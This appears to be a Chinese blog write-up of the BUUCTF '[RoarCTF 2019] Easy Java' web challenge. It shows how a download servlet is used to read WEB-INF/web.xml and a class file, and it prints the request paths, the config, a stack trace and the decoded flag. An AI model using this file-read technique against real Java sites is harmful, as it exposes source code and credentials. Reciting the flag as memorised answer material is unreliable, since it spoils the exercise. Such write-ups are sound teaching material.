BUUCTF WEB [RoarCTF 2019]Easy Java

BUUCTF WEB [RoarCTF 2019]Easy Java


  • 进入环境后尝试万能密码登录、SQL注入,无效果

  • 点击help跳转,url为

    /Download?filename=help.docx
    

    回显为

    java.io.FileNotFoundException:{help.docx}
    
  • 使用伪协议下载help.docx文件失败,尝试使用POST下载

  • 下载成功后打开

    Are you sure the flag is here? ? ?
    

    发现没有任何提示

  • 尝试下载其他文件,题目名称为Easy Java,在Java的WEB应用中存在一个WEB-INF目录,其中包含

    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
    
    漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
    
  • 下载WEB-INF/web.xml文件

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
             version="4.0">
    
        <welcome-file-list>
            <welcome-file>Index</welcome-file>
        </welcome-file-list>
    
        <servlet>
            <servlet-name>IndexController</servlet-name>
            <servlet-class>com.wm.ctf.IndexController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>IndexController</servlet-name>
            <url-pattern>/Index</url-pattern>
        </servlet-mapping>
    
        <servlet>
            <servlet-name>LoginController</servlet-name>
            <servlet-class>com.wm.ctf.LoginController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>LoginController</servlet-name>
            <url-pattern>/Login</url-pattern>
        </servlet-mapping>
    
        <servlet>
            <servlet-name>DownloadController</servlet-name>
            <servlet-class>com.wm.ctf.DownloadController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>DownloadController</servlet-name>
            <url-pattern>/Download</url-pattern>
        </servlet-mapping>
    
        <servlet>
            <servlet-name>FlagController</servlet-name>
            <servlet-class>com.wm.ctf.FlagController</servlet-class>
        </servlet>
        <servlet-mapping>
            <servlet-name>FlagController</servlet-name>
            <url-pattern>/Flag</url-pattern>
        </servlet-mapping>
    
    </web-app>
    

    可以看到存在一个与Flag有关的类

  • 直接访问

    /Flag
    

    报错

    HTTP Status 500 – Internal Server Error
    
    Type Exception Report
    
    Message com/wm/ctf/FlagController (wrong name: FlagController)
    
    Description The server encountered an unexpected condition that prevented it from fulfilling the request.
    
    Exception
    
    java.lang.NoClassDefFoundError: com/wm/ctf/FlagController (wrong name: FlagController)
    	java.lang.ClassLoader.defineClass1(Native Method)
    	java.lang.ClassLoader.defineClass(ClassLoader.java:763)
    	java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
    	org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2283)
    	org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:811)
    	org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1260)
    	org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1119)
    	org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:488)
    	org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
    	org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
    	org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    	org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803)
    	org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    	org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790)
    	org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459)
    	org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    	java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    	java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    	org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    	java.lang.Thread.run(Thread.java:748)
    
    Note The full stack trace of the root cause is available in the server logs.
    

    得到了类的地址

    com/wm/ctf/FlagController
    
  • 下载

    WEB-INF/classes/com/wm/ctf/FlagController.class
    

    文件,打开后找到一串base64编码的字符串,解码获得flag

    ZmxhZ3szMTZhMmNmMS05YjgxLTQxNmQtYTkxOC1kZDlhY2FjNzIwNmN9Cg==
    
    flag{316a2cf1-9b81-416d-a918-dd9acac7206c}
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值